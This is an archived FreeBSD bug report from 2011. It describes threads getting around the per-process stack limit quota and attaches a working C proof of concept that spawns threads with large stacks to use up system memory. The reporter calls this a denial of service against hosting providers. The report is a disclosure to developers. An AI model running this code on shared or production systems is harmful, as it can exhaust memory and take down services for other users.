Skip site navigation (1)Skip section navigation (2)
Date:      Tue, 13 Sep 2011 14:11:12 GMT
From:      Michael Pounov <misho@elwix.org>
To:        freebsd-gnats-submit@FreeBSD.org
Subject:   threads/160708: Bypass process stack quota :)
Message-ID:  <201109131411.p8DEBCnu009342@red.freebsd.org>
Resent-Message-ID: <201109131420.p8DEK5GW054057@freefall.freebsd.org>

next in thread | raw e-mail | index | archive | help

>Number:         160708
>Category:       threads
>Synopsis:       Bypass process stack quota :)
>Confidential:   no
>Severity:       critical
>Priority:       high
>Responsible:    freebsd-threads
>State:          open
>Quarter:        
>Keywords:       
>Date-Required:
>Class:          sw-bug
>Submitter-Id:   current-users
>Arrival-Date:   Tue Sep 13 14:20:05 UTC 2011
>Closed-Date:
>Last-Modified:
>Originator:     Michael Pounov
>Release:        FreeBSD 8.2 and FreeBSD 9.0-CURRENT
>Organization:
ELWIX
>Environment:
FreeBSD misho.batmbg.com 8.2-STABLE FreeBSD 8.2-STABLE #1: Tue Jun 14 12:17:19 EEST 2011     root@misho.batmbg.com:/usr/obj/usr/src/sys/GENERIC  i386

FreeBSD elwix.aitnet.org 9.0-CURRENT FreeBSD 9.0-CURRENT #8: Sun Jul 17 14:36:16 EEST 2011     root@elwix.aitnet.org:/usr/obj/usr/src/sys/GENERIC  i386

>Description:
With thread application you may get all system memory for one process. 
Excellent DoS for hostings and other application providers.


When you use threads his stack not are restricted from system's quota and you may get all memory.

>How-To-Repeat:
Compile and start program "pt" from PR

example: ./pt 10000 
>Fix:


Patch attached with submission follows:

/*
 * Problem with stack limit per process. 
 * 	Bypass process stack limit quota from threads :) NICE! :-P
 *
 * Tested on FreeBSD 8.x/9.x
 *
 * Author: Michael Pounov <misho@elwix.org>
 *
 * cc -o pt -O2 -g -Wall pt.c -lpthread
 *
 * Test: ./pt [KBytes]
 * Example: ./pt 10000  # test with 10MB stack size per thread * 10 = 100MB total size
 * 				you may add and 100MB stack size per thread :):):)
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <pthread.h>
#include <sys/types.h>
#include <sys/resource.h>

void *
meow(void *slen)
{
	char *buf = (char*) &buf;

	buf = alloca(((size_t) slen) - sizeof(char*));
	printf("buf[%u]->%p\n", ((size_t) slen) - sizeof(char*), buf);
	fflush(stdout);
	if (!buf)
		printf("allocation with size %u failed #%d - %s\n", 
				(size_t) slen, errno, strerror(errno));
	else {
		memset(buf, '*', ((size_t) slen) - sizeof(char*));
		buf[((size_t) slen) - sizeof(char*) - 1] = 0;
		printf("successful allocated memory with %u bytes :) test print=%s\n", 
				(size_t) slen, buf + (((size_t) slen) - sizeof(char*) - 8));
	}

	sleep(10);
	printf("done.\n");
	return NULL;
}

int
main(int argc, char **argv)
{
#define TIDZ 10
	pthread_attr_t attr;
	pthread_t tid[TIDZ];
	size_t stacklen;
	register int i;
	struct rlimit rl;
	int kblen;

	kblen = argc > 1 ? strtol(argv[1], NULL, 0) : 1;

	getrlimit(RLIMIT_STACK, &rl);
	printf("stack limit: current=%llu KB max=%llu KB\n", 
			rl.rlim_cur / ((rlim_t) 1024), rl.rlim_max / ((rlim_t) 1024));
	printf("we try to get %d * %u KB = %u KB\n", TIDZ, kblen, kblen * TIDZ);
	if (((rlim_t) kblen * TIDZ) < (rl.rlim_max / ((rlim_t) 1024))) {
		printf("Error:: new stack size %u KB is under process stack limit %llu KB\n", 
				kblen * TIDZ, rl.rlim_max / ((rlim_t) 1024));
		return 1;
	}

	pthread_attr_init(&attr);
	pthread_attr_getstacksize(&attr, &stacklen);
	printf("default stacklen=%u\n", stacklen);
	pthread_attr_setstacksize(&attr, kblen * 1024);
	pthread_attr_getstacksize(&attr, &stacklen);
	printf("new stacklen=%u\n", stacklen);

	for (i = 0; i < TIDZ; i++)
		pthread_create(&tid[i], &attr, meow, (void*) stacklen);

	for (i = 0; i < TIDZ; i++)
		pthread_join(tid[i], NULL);

	pthread_attr_destroy(&attr);

	return 0;
}


>Release-Note:
>Audit-Trail:
>Unformatted:



Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?201109131411.p8DEBCnu009342>